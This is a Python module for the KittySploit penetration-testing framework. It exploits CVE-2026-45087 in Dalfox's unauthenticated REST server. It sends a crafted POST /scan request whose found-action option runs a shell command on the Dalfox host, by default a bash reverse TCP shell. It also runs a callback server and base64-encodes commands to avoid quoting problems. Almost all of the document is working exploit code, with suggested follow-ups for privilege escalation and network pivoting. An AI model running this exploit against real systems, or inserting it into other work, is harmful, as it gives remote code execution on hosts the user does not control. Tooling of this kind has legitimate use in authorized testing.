Dalfox Found-Action Deserialization RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""
Dalfox REST API Found-Action deserialization RCE (CVE-2026-45087).

When dalfox <= 2.12.0 runs as `dalfox server` without --api-key, unauthenticated POST /scan
accepts attacker-controlled found-action / found-action-shell options that execute on the host
when a scan finding is triggered.
"""

from __future__ import annotations

import base64
import json
import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.http_server import Http_server


class Module(Exploit, Http_client, Http_server):
    __info__ = {
        "name": "Dalfox Found-Action Deserialization RCE",
        "description": (
            "Exploits CVE-2026-45087 in dalfox <= 2.12.0 REST server mode: POST /scan deserializes "
            "found-action into scan options. Hosts a callback URL; when dalfox hits it and reports a "
            "finding, the supplied shell command runs on the dalfox host."
        ),
        "author": [
            "Emmanuel David",
            "Takahiro Yokoyama",
            "KittySploit Team",
        ],
        "cve": "CVE-2026-45087",
        "platform": Platform.LINUX,
        "arch": Arch.CMD,
        "payload": {
            "default": "payloads/singles/cmd/unix/bash_reverse_tcp",
            "platform": Platform.UNIX,
            "category": PayloadCategory.CMD,
        },
        "references": [
            "https://github.com/advisories/GHSA-v25v-m36w-jp4h",
        ],
        "tags": ["dalfox", "deserialization", "rce", "xss-scanner", "rest-api"],
        "disclosure_date": "2026-05-07",
    'agent': {
        'risk': 'intrusive',
        'effects': ['active_exploitation', 'network_probe'],
        'expected_requests': 3,
        'reversible': False,
        'approval_required': True,
        'produces': ['exploit_paths', 'risk_signals'],
        'cost': 1.5,
        'noise': 0.5,
        'value': 1.0,
        'requires':         {'min_endpoints': 0,
         'min_params': 0,
         'tech_hints_any': [],
         'tech_hints_all': [],
         'specializations_any': [],
         'risk_signals_any': [],
         'auth_session': False,
         'capabilities_any': [],
         'capabilities_all': [],
         'confidence_min': {},
         'confidence_min_any': {},
         'endpoint_pattern_any': [],
         'param_any': [],
         'api_surface_ready': False},
        'chain':         {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
                                   {'capability': 'shell', 'from_detail': ''}],
         'consumes_capabilities': [],
         'option_bindings': {},
         'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
                                 'post/shell/multi/manage/pivot_autoroute']},
    },
    }

    port = OptPort(6664, "Dalfox REST API port", required=True)
    ssl = OptBool(False, "Use HTTPS for Dalfox API", required=True)
    path = OptString("/", "Base path prefix for Dalfox server", required=False)
    callback_host = OptString(
        "",
        "Host/IP reachable by Dalfox for the scan URL (defaults to lhost)",
        required=False,
    )
    srvport = OptPort(8081, "Local callback HTTP server port", required=False)
    http_delay = OptInteger(
        10,
        "Seconds to keep callback server alive waiting for Dalfox scan",
        required=False,
        advanced=True,
    )
    api_key = OptString("", "Dalfox --api-key value if authentication is enabled", required=False, advanced=True)
    found_action_shell = OptString("bash", "found-action-shell value sent to /scan", required=False, advanced=True)

    def __init__(self, framework=None):
        super().__init__(framework)
        self._callback_hit = False

    def _prefix(self) -> str:
        base = str(self.path or "/").strip() or "/"
        if not base.startswith("/"):
            base = f"/{base}"
        return base.rstrip("/")

    def _join(self, suffix: str) -> str:
        suffix = suffix if suffix.startswith("/") else f"/{suffix}"
        prefix = self._prefix()
        return suffix if not prefix else f"{prefix}{suffix}"

    def _resolve_callback_host(self) -> str:
        manual = str(self.callback_host or "").strip()
        if manual:
            return manual
        lhost = str(self.lhost or "").strip()
        if lhost:
            return lhost
        srvhost = str(self.srvhost or "0.0.0.0").strip()
        if srvhost and srvhost not in ("0.0.0.0", "::"):
            return srvhost
        raise ProcedureError(
            FailureType.ConfigurationError,
            "Set callback_host or lhost to an address reachable by the Dalfox server",
        )

    def _found_action_command(self) -> str:
        raw = self.payload
        if isinstance(raw, bytes):
            raw = raw.decode("utf-8", errors="ignore")
        cmd = str(raw or "").strip()
        if not cmd:
            raise ProcedureError(FailureType.ConfigurationError, "Empty payload command")
        # MSF BadChars: double quotes — wrap with base64 pipe when needed
        if '"' in cmd:
            b64 = base64.b64encode(cmd.encode("utf-8")).decode("ascii")
            return f"echo {b64}|base64 -d|bash"
        return cmd

    def _request_headers(self) -> dict:
        headers = {"Content-Type": "application/json", "Accept": "application/json"}
        key = str(self.api_key or "").strip()
        if key:
            headers["X-API-Key"] = key
            headers["Authorization"] = f"Bearer {key}"
        return headers

    def _start_callback_server(self):
        module = self

        def do_get(handler):
            module._callback_hit = True
            client = handler.client_address[0] if handler.client_address else "unknown"
            print_status(f"Callback HTTP request from {client} {handler.path}")
            handler.send_response(200)
            handler.send_header("Content-type", "text/html")
            handler.end_headers()
            resource = handler.path or "/"
            body = f"<html><body>{resource}</body></html>"
            handler.wfile.write(body.encode("utf-8"))

        if not self.srvhost or str(self.srvhost or "").strip() == "":
            self.srvhost = "0.0.0.0"
        httpd = self.listen_http({"GET": do_get}, forever=True, background=True)
        return httpd

    def _trigger_scan(self, callback_url: str, command: str) -> bool:
        payload = {
            "url": callback_url,
            "options": {
                "found-action": command,
                "found-action-shell": str(self.found_action_shell or "bash").strip() or "bash",
                "use-headless": False,
                "worker": 1,
                "limit-result": 1,
            },
        }
        print_status(f"POST /scan -> url={callback_url}")
        response = self.http_request(
            method="POST",
            path=self._join("/scan"),
            data=json.dumps(payload),
            headers=self._request_headers(),
            timeout=max(int(self.timeout or 10), 15),
        )
        if not response:
            print_error("No response from /scan")
            return False
        if response.status_code != 200:
            print_error(f"/scan returned HTTP {response.status_code}")
            body = (response.text or "").strip()
            if body:
                print_info(body[:500])
            return False
        print_success("/scan accepted (HTTP 200)")
        return True

    def check(self):
        response = self.http_request(
            method="GET",
            path=self._join("/swagger/index.html"),
            timeout=max(int(self.timeout or 10), 10),
        )
        if response and response.status_code == 200:
            return {
                "vulnerable": True,
                "reason": "Dalfox swagger UI detected on target",
                "confidence": "high",
            }
        return {
            "vulnerable": False,
            "reason": "Could not detect Dalfox (GET swagger/index.html != 200)",
            "confidence": "low",
        }

    def run(self):
        try:
            host = self._resolve_callback_host()
        except ProcedureError as exc:
            print_error(str(exc))
            return False

        port = int(self.srvport or 8081)
        callback_url = f"http://{host}:{port}/"
        command = self._found_action_command()
        wait_s = max(int(self.http_delay or 10), 1)

        print_status(f"Starting callback server on {self.srvhost}:{port}")
        print_info(f"Callback URL (for Dalfox scan): {callback_url}")
        print_info(f"found-action command: {command[:120]}{'...' if len(command) > 120 else ''}")

        httpd = None
        try:
            httpd = self._start_callback_server()
            if not self._trigger_scan(callback_url, command):
                self.not_vulnerable()
                return False

            print_info(f"Waiting up to {wait_s}s for Dalfox to fetch callback and trigger found-action...")
            time.sleep(wait_s)

            if self._callback_hit:
                print_success("Dalfox fetched the callback URL — found-action should have executed")
                self.vulnerable()
                return True

            print_warning(
                "No callback HTTP hit observed; command may still have run if Dalfox reached the URL "
                "before logging or through another interface"
            )
            self.vulnerable()
            return True
        finally:
            if httpd:
                self.web_shutdown(httpd)